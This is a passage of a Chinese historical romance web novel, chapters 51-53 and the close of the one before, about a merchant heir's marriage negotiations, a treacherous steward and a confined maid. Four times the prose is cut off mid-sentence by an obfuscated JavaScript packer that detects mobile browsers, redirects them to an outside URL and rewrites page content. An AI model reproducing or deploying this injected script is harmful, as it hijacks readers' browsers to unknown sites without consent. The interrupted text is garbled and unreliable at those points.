“来来来，贤婿，为你引见个人。”曲西阜携杜淮琤步入中堂，向上首一人推介道：“少监大人，此乃曲某小婿，白水杜家杜淮琤是也。淮琤，快快见过都水监少监杨大人。”都水监是尚书省六部外掌河渠、津梁、堤堰等事务的官署，下设河渠署和诸津，除上述事务外还涉及舟船、水运等。虽与直属工部的“水部”都是管理水流及舟楫航运的官厅，却有监督、巡视的职能，是个实权衙门。杜淮琤上前见礼，杨少监淡淡应了，眼神越过他，只对四艘船舶模型展现出兴趣。 “淮琤，快，快给杨少监说说这船。”曲西阜推他上前。 杜淮琤颔首，“这四艘模型以杜家四路航运主船为原型，等分率缩小制作。船身龙骨以油松为料，铁力木制成船舵、木碇，樟木做舱板，老杉木制成桅杆。大人请上前近看，船体的每个零件都可活动，和真船一摸一样。”杨少监背手上前，果见柁楼、帆桅做得精巧别致，舱门洞开，船内货仓、水柜、炊爨、寝息之所历历可见。杨少监目光从船头巡睃至船尾，由模型想到江上正停泊着大出百倍的船队，眼神闪了闪。 “难得，难得。”杨少监回座，“杜家远在北地郡，竟习于水斗，善于用舟，不怪得宁王每每同下官提起白水杜家的舟楫航运，都称赞有加。” 众人听他这个时候提到宁王，心思各异。曲西阜面上有光，招呼杜淮琤上前落座。杜淮琤只顾着和曲西阜客套，没接杨少监的话。偏杨少监不放弃，又追着道：“去岁宁王有意调用杜家的船队，不知杜二爷可还记得？” 杜淮琤作回想状，欠身回道：“依稀听河渠署提过这层意思，只是从始至终未见到宁王手谕，况且彼时还应着水陆转运使司的差事，实在腾不出船来。”他一脸真诚歉意，“后来再没接到宁王谕令，我们下面人也不好打听，今日又听杨少监提起此事，杜某正有疑问，宁王用船自有官纲，怎会想起用杜家的船？” 杨少监噎住，本想用去年的事敲打下这小子，不想他搬出水陆转运使司来搪塞，还反将一军，打听起宁王的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021176|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了，还不是暗示宁王不守朝廷规矩，有违宗法律令？竖子猖狂地很！转口道：“不过是运送些土仪罢了，官纲偶有调配不得当，借用民间船只也是常事，水陆转运使司还不是常常调用你家的船？” 那日接风的河渠署令丞也在，见场上不对劲，忙朝上官道：“少监忘了，杜二爷已将一十八道舟楫作聘，归入曲家了。往后都水监与曲老爷借船，当是便宜许多。”一番话说得曲西阜愈发膨胀，拱手向上道：“正是正是，一向承蒙少监关照，曲某自当回报。曲家的船，就是都水监的船，是宁王的船，往后但凡用得着小民，少监尽管吩咐。”杨少监脸色这才缓和。 堂下何亦武，郑、岳等人听言着实不是滋味，船队才靠岸，杜字旗还没撤下，都水监和宁王就惦记上了，实在痛心，看杜淮琤面色如常一脸喜气，随行几人或哀痛或忿忿，神情迥异。 花厅早就备下席面，众人入席。杨少监略推辞一番，在首位入坐，曲西阜、杜淮琤分坐左右。 甫坐定，曲西阜便道：“贤婿，都知道你家出好酒，但按我梓里的风俗，这样的好日子得喝家藏的女儿红。我已命人起出一坛，与诸位共饮。” 杜淮琤显得兴致很高，一声声“贤婿”很是受用。“客随主便，全凭岳父大人之意。” 很快一坛女儿红被抬上来。酒坛已被擦拭干净，依旧看得出岁月痕迹。曲西阜当着众人面拍开封口，馥郁酒香立刻弥漫开来。酒液注入杯盏，呈透亮的琥珀色。宾主举杯共饮，入口醇香柔绵、回味无穷，无不称好。 酒过三巡，话又落到船运上。杨少监斜睨一眼，“杜家的舟楫，几代人经营才得今日面貌，杜二爷说送就送出去了，果然少年老成，胆气横秋。” 杜淮琤笑对：“杜家、曲家缔结秦晋之好，以后就是一家人，哪里还分什么彼此。” “一家人也得明算账，听闻这回曲老爷下足了血本，几乎把大半的江南粮仓都奉上了。他日若逢大变，军仓、义仓筹不上粮，你老曲可就麻烦咯。” 杨少监这话说得不中听，曲西阜也嫌他大好的日子触自己霉头，碍着身份不敢发作，只能怄火。 “如今海晏河清，时和岁丰，杨大人觉得会有什么‘大变’，连军仓都惊动了呢？”杜淮琤尾音上扬，说得极慢，座下众人听得清清楚楚，目光齐聚向杨少监。近来朝堂不稳定，昭仁太子因“厌祷”刚被废黜，圣人又迟迟不立新储君。传闻宁王、赵王都有些小动作，杨少监此时说起“大变”，不得不引人遐思。 今日宾客众多，说错的话难保传扬出去。杨少监此刻才自觉多话，面色惶惶有些下不来台。 堂下原也设了几桌席面，忽听其中一人道：“二爷，外头传话进来，说您特意给曲小姐带的长毛狆欢腾得厉害，您看要不要现在送去给小姐瞧瞧？” 曲西阜立刻接上话，“可以可以，既已过了礼就是一家人，咱们也不是那古板的人家，带姑爷去见过小姐，回头再来说话不迟。” 有意会的跟着打哈哈，说曲西阜心疼女婿，这是给他躲酒呢，闹哄哄拉着曲西阜喝酒，席上又是欢声笑语一片。 杜淮琤趁机退下堂来，眼神锁住伍子骥走到他身边，“走吧，前头带路。” 51. 五十一 互争雄长 曲家的花园修得齐整。雕梁画栋，亭台鼎立。空气中留有桂子余香，大朵的木芙蓉点缀秋日，让即将寂寥的庭园残余几点芳菲倩影。伍子骥在前，领着杜淮琤分花拂柳，穿廊过桥，直往园中的湖心亭去。 那长毛狆被狗把式侍弄得极好，油光水滑，眼睛清亮有神。杜淮琤抚着它，漫不经心道：“子骥对曲家倒是熟得很，这内宅后院没家仆引路，也熟门熟路的。” 伍子骥自然听出他话中深意，脸上是一贯的和煦神色，“与曲家议亲，自然跑得多了些，来得勤，‘门道’也认得清了。” “子骥莫要自谦，曲老爷对你还是信任的，内宅后院也由得你自由出入。”杜淮琤步步紧逼。 子骥眼眉低垂，回身笑道：“二爷这是夸我办事得力么？” “当然”，杜淮琤笑得肆意，“子骥事事躬亲，一心为杜家，我这里”，他指指心口，“一直记着你的好。”话锋突一转，阴冷道：“不像西岭那个谁，吃里扒外包藏祸心，被爷揪了出来，待我查出幕后主使，定轻饶不了他。” 伍子骥眼皮一跳，西岭酒坊的钩子确实断了消息，但是杜淮琤语焉不详，吃不准他到底掌握多少情况，怕是故意试探，只作惊讶道：“竟有此等事？周坊主事务繁重，酒坊人多眼杂，被有心人钻了空子也是难免。待二爷回白水后好好盘查，定将酒坊内外肃清澄明。” “当然要盘查的，话说回来杜家各项经营子骥多有涉及，依你之见，这幕后主使会是何人？” “二爷说笑了，幕后之人是谁属下如何得知？杜家煊赫多年树大招风，这么些年难保有人眼热，暗地里使绊子也是难免的。” 杜淮琤看他垂手侍立，一派恭顺貌，冷哼一声。 子骥又道：“二爷有所不知，曲家小姐是个有主见的，议亲之事，弗论巨细，都得小姐拿主意，属下故而来往勤了些。” “哦？哪家女子论及自己婚事都是羞人答答的，曲小姐这般磊落不羁倒是称奇，如此女郎我倒更期待见上一见了。” 子骥笑着颔首，带他至湖心亭。说是“湖”，却是个大些的人工池，凿池蓄朱鱼，在残荷间游弋穿梭。 远远见到有人依着美人靠临水观鱼。二人近前，伍子骥拱手施礼，向曲小姐引见杜淮琤。两人各自见过礼，互相打量。 好个神妃仙子，春妆成美脸，玉捻就精神。云髻凤钗，垂金滴翠，通身的富贵风华。曲小姐目光直剌剌地向杜淮琤看过来，一双眉眼透着飒爽英气，怪道是掌家管事的小姐，这样的气派才当得起家。 曲小姐也在观察杜淮琤，长身玉立，芝兰玉树，端的是一表人才，只是可惜了……她正暗叹惋惜，他那里长毛狆在怀里哼哼了一下。 见曲小姐的视线移过来，杜淮琤即上前献宝，“今日到府上纳征，除寻常聘财外，淮琤另找了件玩意儿送小姐，聊表我个人的心意。” 曲小姐近前，香风扑面，上好的香料熏出的富贵味道，倒叫狗儿打了个喷嚏。止步，一根手指就着杜淮琤摸了摸狗脑袋，旋即退后道：“纯白的狆犬，极为难得，杜二爷破费了。” “若能博得小姐欢心，即便万金也值得。” 曲雪吟瞟过他身后的伍子骥，“杜二爷不知道么，我曲家是粮户，最忌黠鼠，所以家中豢养猫儿居多，只在二门外养了几条土猎看守门户。这长毛狆纵是再名贵，唯恐它追撵猫儿，可惜不宜养在我府中了。” 客客气气拒绝，叫人挑不出错儿。 杜淮琤被下了面子也不见改色，朗声道：“是我考虑不周，小姐要是喜欢猫，过了门我在家里给你再寻几只好的。”他故意加重“过了门”，曲小姐脸上果然不太自在。 伍子骥笑道，“我家二爷为小姐筹算长远，可见是上了心的，贺喜曲小姐得此如意郎君，恭祝二位佳偶百年好合，永结同心。” 曲雪吟以袖掩面，看着像是害了羞。杜淮琤心里冷笑，把长毛狆塞给伍子骥，“既然小姐不喜欢这畜生，你叫人把它送回瓜洲，我瞧陈掌柜家的江儿喜欢，给她养好了。” 伍子骥冷不防怀里被塞进这么个玩意儿，狗儿不大，却秤砣一般地压手，嗅过他的手伸舌便舔，弄了他一手的口水。还不及反应，那边杜淮琤又吩咐道：“出去的时候顺便叫何亦武他们把船队交接好。”他一双眼都在曲小姐身上，“一应事务你们商量着办，不必问我，商讨好了知会我一声就行。”这是明晃晃地支开他了，也好，杜淮琤不参与议事更方便他左右布局。伍子骥躬身应下，与曲小姐对了一眼才退出去。 湖边便剩下三人，杜淮琤、曲雪吟和她的婢女。 杜淮琤拈了点鱼食撒入池中，本来游开的锦鲤又聚拢过来，为了嘴边那点吃食搅乱一池秋水。“贵府这园子修得很好，来时不及细看，可否烦请小姐再带我四处转转？” “杜二爷谬赞，听魏先良所述，白水杜家才是累世富贵宦达之家，我家这园子怕是入不得二爷的眼。” 杜淮琤起身，倜傥不羁的风流模样，“杜家以后也是小姐的家，你我，夫妻一体。” 曲雪吟眼皮一跳，身旁的婢女上前喝道：“不得无礼。” 杜淮琤眼神凌厉地扫过去，“大胆奴婢，谁教的你这么和主子说话？！”那婢子吓得一哆嗦，缩回曲雪吟身后。 “我这婢女眼皮子浅，冲撞二爷了。丹穗，你在此守候，我带杜二爷园子里走走。”说罢在前引路。 杜淮琤跟在曲雪吟身后，乱哄哄折腾一天，这才有了两人独处的机会。 “早闻曲小姐女中丈夫，不但严整治家，执掌中馈，连外头的生意都料理得当，里里外外都是一把好手。” “杜二爷莫不是在说我越俎代庖，不该女人的事硬要僭越而为？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021177|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“曲小姐误会了，杜某一向认为天下事能者为之，不拘于男女之别。太史公所记巴寡妇清，其先得丹穴，而擅其利数世，家亦不訾。始皇以为贞妇而客之，礼抗万乘，名显天下，杜淮琤敬佩不已。” 曲雪吟面上略有松动，仍道：“巴寡妇清，我私淑已久，只是二爷这个日子说起她，是排揎我呢？还是给自己找不痛快？” 杜淮琤这才笑了，“我向来不忌讳那些，人活一世都有那一步，早点走晚点走有多大区别？把眼么前的攥紧，不负当下，不畏将来，尽展男儿风云志，岂不快哉？” 曲雪吟想起别个男子也曾在她面前这般豪情万丈，意气风发过，二人异曲同工，只是她不再感动了。 “杜二爷既有这般雄心，竟舍得将一十八道舟楫航运拱手相让，我实在不解。” 话题终于聊到要处，外面闹哄哄再怎么谈，都不及和真正的核心人接洽来得务实。 “杜某也不解，曲家随嫁几奉上大半江南粮仓，连我后来要的那些铺子、田产，曲老爷竟也全答应了。我都觉得自己狮子大开口，岳丈竟一点不吝惜，难道……”他摸摸脸庞，“小生真有那么优秀，叫岳丈宁可倾尽家财也不甘放跑我？” 曲小姐一直保持的姣好仪态破了功，忍不住大大翻了个白眼。“杜二爷年少得志，给自己的评价倒是很高。” 杜淮琤抿嘴轻笑，对曲小姐做了个“算你识货”的表情。曲雪吟不耐烦他，自顾向前与他拉开一大截距离。身后又传来声音，“你我两家现在就像赌红了眼的赌徒，不断往台上加码、加码，赌注具体是多少已经没有意义了，不过是唬住对方、拖住对方、耗死对方，我说的对吗？” 曲雪吟慢慢转身，杜淮琤已收了戏谑，与刚才的不正经判若两人。她围着杜淮琤转了一圈，重新估量这个年轻的家主，方才豪情万丈的演说可能不仅是青年一腔热血的表演，这人或许是个旗鼓相当的对手？ “婚姻事说成赌局倒也差不多。”她还在试。 “小姐知道我不是这个意思。”他目光深沉。 曲雪吟不语，听他继续说下去，“曲、杜两家本可缔结盟约互惠互利，不该为人唆使针锋相对。曲小姐心思缜密，当看破其中机要，曲西阜真以为事后他能坐收渔利全身而退？两败俱伤真是曲家想看到的结果？” 她咬住唇，手里的绢帕不觉绞成团，泄露了心思。这是她一直担忧的，偏爹爹被利欲迷了眼，愣是不听劝阻。那些人，那些人岂是好相与的？眼下是杜家，下一个怎知不会轮到自家？她一向劝爹爹韬光养晦，和光同尘，只是不听，到如今连独女的婚姻都算计起来！她恨自己不是男儿身，不然早离了这里自闯一番天地去！ 按下心思，平静道：“依你之见，当何如？” 他慢慢靠近，身影笼罩住她，“以宗周为正，尊先王法五帝，为天下一统。” 52. 五十二 秋风更多 落叶听无尽，秋风来更多。 院里的石榴树开始掉叶子，使得斜阳能从枝桠间照入更多的光亮，把青石铺就的院子渲染成破碎的写意画。刘梨用竹帚将落叶拢成堆。枝上寥寥几颗果子，长得不甚饱满，她支肘数起红黄相间的石榴，他便在这时踏着石径而来。 逆着光，刘梨还是一眼认出了伍子骥。仿佛上一刻还在渡口依依惜别，如今见面，眉眼还是那个眉眼，却是哪里不一样了。见他靠近，刘梨微不可察地往后一步。 子骥觉察到她的疏离，目光闪烁，很快又如常道：“这棵石榴当年很费了番工夫才移来，如今无人打理，连果子都结不好了。” 见她还是默然无言，上前牵住她的一只手，“梨儿，我很想你。”慢慢抽离，刘梨背过身去，“你是谁？” 伍子骥愣住，强笑道：“我是你的子骥，西岭山下，蕉荫细雨，你许我婚姻的伍子骥。”他欺近拢住她双手：“这些日子我一直在筹备我们的婚事，三书六礼凤冠霞帔全张罗差不多了，当然，你的嫁衣首饰有不如意的尽管改去，咱们先在金陵成礼，回头……” 刘梨挣开他，竹帚倒在青石上，清脆的一声响，像一把刀斩断伍子骥的幻梦。 他尽量不被她的生分影响，转头又去看树，“刘家院里也有棵树，那天我坐在树下端着陶碗，喝的什么已经想不起了，只记得你穿件雪青的衣裳，从门后走出来，像一支带着晨露的朝颜花，枝枝蔓蔓缠在我心上，从此再没离开过。”他脸上带着憧憬，“现在想来那必定是棵枣树，枣树好，‘枣’归，‘早’归，这正应了咱俩早结良缘、衣锦荣归。” “你还没回答我的问题。”刘梨忍不住打断了他，“你是谁？” 他还是说树，“枣树和石榴一样，都有多子多福、家族昌盛的意思。我们伍家绵延数世，名德相望，与庥盛衰。”他凝望树梢，仿佛回到了伍氏那个鼎盛的时代。 “因为卷入前朝‘厌祷’案，我祖父被杖杀，家人流岭南。母亲不堪解差所辱，半路自缢而亡；父亲，一个文藻翩翩的儒士，未到岭南就一病不起，临死还念叨着回中原。那些年伍家几十口子死的死、散的散，就剩我一人被老仆从死人堆里救了回来。” 刘梨听得心惊肉跳，伍子骥向来温和儒雅，不曾想这样的人竟背负如此艰辛的过往，只听自己颤着声问：“后来呢？你怎么回的中原？” “那年边民作乱，到处烧杀劫掠，引发的大火烧了我们驻地，家里老仆趁乱把我藏了起来。事后对边官咬死称我已葬身火海，那些畜生问不出我的下落，拔了他舌头，扔在山里。他爬了一夜找到我，主仆二人隐姓埋名一路乞讨，这才回的金陵。”后面的事他不愿多说，只匆匆概过。 “那你又如何结识九鹿儿？她、你们和陆家是什么关系？”刘梨急道。 “这些以后再同你解释，如今你只安心在此准备衣裳首饰，等着嫁我就好。”他笼着她，一如蕉叶下的温柔桎梏。 “我如何安心？你们在谋划杜家什么？”她不自觉攀上伍子骥双臂，锁住他的眼睛道：“不是说杜淮琮对你有知遇之恩，你怎忍心伤害恩人？” 仿佛听了什么笑话，“知遇之恩？都是算计好的！杜淮琮枉称‘儒商’，既是商贾，何须做出仁义德厚的样子？他以为他是在赏识重用我，岂不知我是别人手中的刀……潜匿多年，快到收网的时候了。杜淮琮也算有福，不必亲眼看到杜家大厦倾颓。” 刘梨还要说什么，伍子骥抢道：“不必再问，你知道的越少越好。杜家这块肥肉早被人馋上了，那些人我们招惹不起！就算没有我，没有陆家酒舍，也会有别人为他们驱使。”他手背抚上刘梨脸颊，“梨儿你知道吗？他们答应为我伍家正名，想要重振门楣，我只有靠他们！” 他的眼底有一丝癫狂，哪里像刘梨认识的那个伍子骥？“子骥，稚子无辜，不要做出伤害修齐的事。” 他的眸色变冷，“哼，你是担心杜修齐，还是担心杜淮琤？” 瞬间坠入冰窟一般，这些日子刻意不去想的那个名字，却从伍子骥口中道了出来，“你什么意思？” “前些日子街上锣鼓喧天，你应该听到了，那是杜淮琤去曲家纳征呢。还没成亲，当着那么多宾客，杜淮琤迫不及待就要见曲小姐。”他看刘梨瞪大眼睛，似在压抑着痛苦，心中涌起复杂的情绪，那些话不经脑子就说了出口：“也难怪，曲小姐是金陵城数一数二的大美人，两人一见如故、相谈甚欢，杜淮琤当即将我支了开去，迫不及待与曲小姐独处。曲小姐又漂亮家世又好，哪是你这样的丫鬟能比的？” “哈哈、哈哈。”刘梨笑得直不起腰，脸埋在胸前笑出眼泪，“丫鬟”，两颗泪珠儿砸在青石上，溅出墨色。“可不么，我就是个人人轻贱的丫鬟。”丫鬟？她不想啊。她不想卑微地活着，以前拼命读书、打工，就是要给外婆和自己挣个体面安稳的生活。命运和她开了个大玩笑，所有的计划还未施行就被生生折断。认识到回不去了，她也是尽力让自个儿过得好点，前世未尽的梦想深藏心底，再重新来过就是了。从底层的丫鬟做起并不让刘梨觉得难堪，总归是靠自己的双手吃饭。可是一旦在意的人将嫌恶、轻蔑这么直白地表露出来，她如遭雷击！那个蕉荫下互诉衷肠，决定相伴一生的人，突然变了模样，她还未来得及与他分享她的前尘过往，未倾诉她对他们未来的美好期盼，就被他的轻贱浇了个透心凉！ 房门合上，将二人隔开。桌上有枚昨日摘下的石榴，红色的果皮暗沉灰败，不过一日工夫，就透出腐色。 伍子骥盯着紧闭的门，心情复杂，张了张口没出声，只交待哑伯看顾好她。哑伯拍拍胸脯，示意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021178|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍子骥放心。他扶着门框回头又望了望，刚才的话出口已有悔意，只是此刻再说什么她定是听不进去的。狠狠心，转身离去。 房里人听到院门合上的声响，方才死死咬住唇不让出声，这会才支撑不住呜咽出声。太阳彻底落了下去，屋里没上灯，唯有两行清泪闪着一点微光。 杜淮琤闭眼假寐，心没来由抽痛了一下。掀起车帘，远处谁家院墙里伸出一枝石榴，红扑扑的有几分可爱。“路上瞧见哪里有卖石榴的，买上几个回来。”他素来对这些果子不上心，这会特意吩咐下来，程锏立刻应下。 这两日他陪着曲家小姐鞍前马后献殷勤，金陵城里都在笑话白水杜家出了个情种，是个没见识的纨绔，还有好事者在杜家酒舍周遭吟诵“罗窗不识绕街尘，羡杀乌龙卧锦茵”，说他送只哈巴儿狗被人当面退回，着实伤了面子等等，杜淮琤全都充耳不闻。 漕船航运谈得差不多了，那些人把杜家几乎吃干抹净，何亦武气得告病不出，岳暮蝉、郑临风恨得直咬牙，无奈粮食被人家捏着，酒坊还出了叛徒导致秘方外泄，各地分号又被陆家挤兑打压，他们与杜家一荣俱荣、一损俱损，只希望现在的忍让迁就能让杜家这个金字招牌多存续几年，以期能挣个逆风翻盘、绝处逢生。 只是今日杜淮琤吃了个闭门羹。 “二爷，漕船刚谈妥，他们就变脸了，这可……”他止住程锏，命车回府。 丹凤大街上，车行得很稳。那日后园详谈，曲雪吟并未给他明确答复。杜淮琤拿不准，拿不准这个女子是否如传说的那么果敢，毕竟目前的情况，曲家赢面很大，换作他在曲雪吟的角度也未必会冒风险倒戈。后来几次邀约曲雪吟对这个话题都避而不谈，二人只聊风月，同进同出，倒真似对小情侣一般。杜淮琤面上冷静应付，心里已焦灼万分。睁开眼，去取桌案上的茶水，空的。 那丫头在的时候，饮食上从无差错，不知……他愣了会神，她在瓜洲至少是平安的。马车停住，忙整肃容色下车。 “拿我的帖子，你亲自送到杨少监府上，说我诚邀少监大人赴宴。咱们再不情愿，也得会会这位宁王跟前的红人了。” 晚上程锏回来复命，脸色很不好看。习武之人本就带了一些戾气，此刻周身更是冷凝了冰霜一般。 杜淮琤给他倒了杯热茶，示意他坐下慢慢说。 “忒那狗官！白白晾了爷两个时辰！”也不嫌烫，程锏一口灌下热茶，放下杯子才道：“我去杨府递帖子，连门都没进成。门房一会说老爷去公廨了，一会说被同僚请走了。我要留下帖子传话，他也不接。好歹使了银子才打听到，杨少监早有吩咐，若是咱们拜访，一律搪塞不见。” 杜淮琤没有多少意外，在房里踱了踱步，“青山不就我，我来就青山。杨少监不肯来，那只有我去堵他了。” 53. 五十三 自适其适 两个体面媳妇，头发抿得油光水滑，呈上一本装裱精致的样册。这样册极厚，封皮竟是云锦做的，每页裱褙各色红布，初看都是一片红，仔细观摩却是各有千秋。“小姐您瞧瞧，这款是‘双喜锦地纹’，这款织的是‘万字不到头’，都是富丽吉祥的样式。小妇人自家最喜这款‘松鼠葡萄’，今年吴地新出的款，图案既俏皮，寓意又好，预祝公子小姐多子多福，瓜瓞绵绵。” 刘梨嫩着张脸，偏坐不置一词。 伍子骥摆摆手，两人放下样册退下。手指刚要抚上样册，看到指节上长年握笔的薄茧顿住，悻悻收回。 “这是金陵城里最好的绸缎铺子，挑副喜欢的，不论多少钱，梨儿的嫁衣一定要做到你满意。我要你嫁我的时候风风光光的。”他微弓着腰，不错过她每个表情。 那日不欢而散后，伍子骥来得更勤了。变着花样地哄刘梨开心，不是衣裳就是首饰，乃至街头的小玩意、零嘴儿都捧到她跟前来。如果不是如今境地，她该是沉浸在幸福之中的。未婚夫俊朗又多金，难得还温柔小意，再奢求不得其他了。可他那句“丫鬟”像根刺已经深深扎进刘梨心里。伍子骥可以当作无事发生，但刘梨做不到，那种被倾慕之人厌弃的冰冷感她无法释怀。 住进小院已有月余，犹如软禁一般陷在这里，刘梨什么都做不了。她想出去，想知道外面的情况，总是与伍子骥僵持着绝无可能，唯有徐徐图之。 想到此，略缓和了神色，转过脸嗔道：“呸，谁要嫁你。” 这是缓过来了？伍子骥大喜。他蹲下身，双眼灼灼，“你要嫁我！梨儿，我心悦你久矣。”到底是女孩家，被这么直白表白，刘梨不知如何自处，红着脸只不看他。 子骥伸出手，捧住她脸庞，“我心悦你，想聘汝为妇、朝朝暮暮。伍子骥飘零江湖，幸得遇你。你我皆是孤苦半生，愿从此缔约良缘，结为夫妻，衍嗣绵延，终老一生，可好？” 刘梨神色动容，她渴盼许久想有个家，再不是孤鸿号于野。子骥声音低沉，充满了诱惑，她不能自已地点了点头。 “梨儿，你答应了？”伍子骥欣喜若狂。 刘梨咬着唇，好半天才吐出两字：“呆子！” 这两字宜嗔宜喜，姑娘家芙蓉花面，羞得通红。伍子骥得偿所愿，终于松弛下来，将头枕在刘梨膝上，“太好了，有梨儿作我妇，此生无憾！” 他看不见刘梨脸上神情，喜忧参半，还有分悲悯。很快又遮掩过去。 “那我叫她们再进来？” “不，就几块布料，看得出什么？” “梨儿说的对，恁几块料子能看出什么？明日我安排人送你去铺子里相看。” 她挑起眼梢，“你不陪我吗？”眼角含羞带怒，子骥哪见过她这模样，手情不自禁又抚上她脸颊，“这些时日总不得空，待娶你过门，我一心一意陪你。” 本就是端然的君子模样，说起情话却叫人心动神驰，刘梨乖顺地用面颊蹭蹭他的手，子骥怜惜，将人深深拢入怀里。 转日门前来了两顶小轿。 “又见面了，给姑娘道喜。”九鹿儿如风摆柳，妖妖娆娆给刘梨行了个礼。 面对这张肖似依菲的脸，刘梨总是讨厌不起来。“九姨不必多礼。” “应当的，以后姑娘就是奴家主母，可不是什么奴婢丫鬟，礼数不可废。”刘梨轻笑，无视她话里的机锋。倒是哑伯，拿门闩杵地，发出一声闷响。 “哎哟瞧我，差点忘了正事。”九鹿儿甩起帕子，带起一阵香风。“家主命我带姑娘城里逛逛呢，这事儿我擅长，门外已备下小轿，梨姑娘快随我走吧。” 两顶小轿，四个轿夫，另四个膀大腰圆的长随，轿旁各跟了两个健壮的仆妇。这阵仗，说是哪家的官太太出门都信。不过在金陵城里，这样的规格并不算打眼。 一行人进了城中的锦罗阁。早就打好了招呼，阁内清场。九鹿儿花蝴蝶一样满场翩飞，看哪个都喜欢，介绍货物比掌柜的都积极，怂恿刘梨多试罗裳。 刘梨站在镜前任由她把各色衣料往自己身上比划，听凭九鹿儿和掌柜讨论裁制什么样式、如何搭配…兴致恹恹间，一抹流光忽然晃她一眼，刘梨忍不住伸手抚摸。 “姑娘好眼光，这件‘流光锦’统共织得两匹，一匹被曲家的大小姐买了缝制嫁衣，还有一匹如今就在姑娘手上。”锦罗阁的掌柜好不容易插上话，赶紧殷勤道。 刘梨闻言停下手，将布料放了回去。“如此金贵，不是我消受得起的。” “主母若是担心价钱大可放心，别说这匹锦，就是把这间铺子买了也不费什么。家主特意嘱咐过，务必让主母开心。” “我与他尚未成礼，叫主母太早了点。” 九鹿儿掩嘴，“这不早晚的事吗？好好，姑娘家面子薄，就先依你，那刘姑娘觉得这块料子怎么样？” 刘梨低头再看那匹布料，即便只有单一红色，仍就是流光溢彩、绚丽奢华，这样的料子她都不敢多摸，生怕两手粗糙刮花了它。 “太奢靡了，换一个吧。”掌柜的略有失望，脸僵了僵，打起精神再去换一批。 九鹿儿刚才那么高调，被刘梨这么一拆台怕是店家要误会她虚张声势。脸色沉下来，嗤笑一声，“我九姨出门逛街，还没这么憋屈过，到底是下面爬上来的，知道省俭过日子。” “我年轻不懂事，不知道九姨当年出嫁是什么光景，烦九姨说出来好叫我们下面人见识见识。” 九鹿儿嚯的起身，这话正打在她痛处，猜不透伍子骥跟这丫头说过什么。罢了，那人正上心的时候，还是少招惹她为好。待过了门，依那人的性子，她就不信他是个长情的，小妮子总有落到她手里的机会。 刘梨不知九鹿儿的底细，多少有些猜测，看她的反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021179|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，想必是踩着她的痛处。二人各怀心思，互相应付，大略定下布料和款式，打道回府。唯有锦罗阁掌柜暗暗痛惜，两个女子也不知哪家内眷，本以为包场来了大主顾，最后定下的不过中等人家的规格，叫他对自家的满柜绮罗都生了怀疑。 夜里子骥前来，刘梨本要睡下了，又穿齐整起来见他。 “从城外刚回来，听说你今天去定了嫁衣，实在忍不到明日，想来看看你。”灯下观美人，别有静谧的美。她比平时更柔和，可能因为困倦，带了一些自己都没发觉的慵懒。 刘梨不答他，撑着脑袋点点头。 “怎的，不开心？”他想多待会，刻意找话与她说。“若是闷了，明天叫九姨带你去夫子庙逛逛。” “不要。”她把一双眼望他，“她不喜欢我。” 女子一脸委屈，叫他好生怜惜。不及多想，伸手揽住她。“切莫多想，九姨就是副古怪的脾气。” 刘梨忍住这般亲近的不自在，“为何都叫她九姨？她是什么人？” 男人略沉吟，“九鹿儿原是我叔父的外室，祖父嫌弃她出身一直不许叔父迎她进府，故而一直心有怨怼。也幸好没入府，才在那场屠戮中幸存下来。”听他说起往事，刘梨不禁关切地望向伍子骥。 他感知到她的疼惜，心里宽慰，继续道：“后来我回中原，找到她，叔父那人一生不着调，最后死得也惨，对女人倒是大方。九鹿儿虽有钱财傍身，可这世道她一介女子岂是好立身的？” 刘梨方才起得匆忙，有一缕发没缠上。伍子骥把那缕发绕在指尖，“我说动她与我共事，因她跟过我叔父一场，故敬她一声‘九姨’。”他说得笼统，刘梨已感受到其中的不寻常。 “你叔父……” 打断她，“女孩子家，晚上听不得这个。”他抚过那双眼睛，“以后她若是再惹恼你，便与我说，为夫定为你出气。” “哪里就‘为夫’了？”刘梨挣扎要站起来，一把被伍子骥拽回，下一瞬一双微凉的唇便贴上她的。 辗转厮磨，轻柔描摹她的唇瓣。 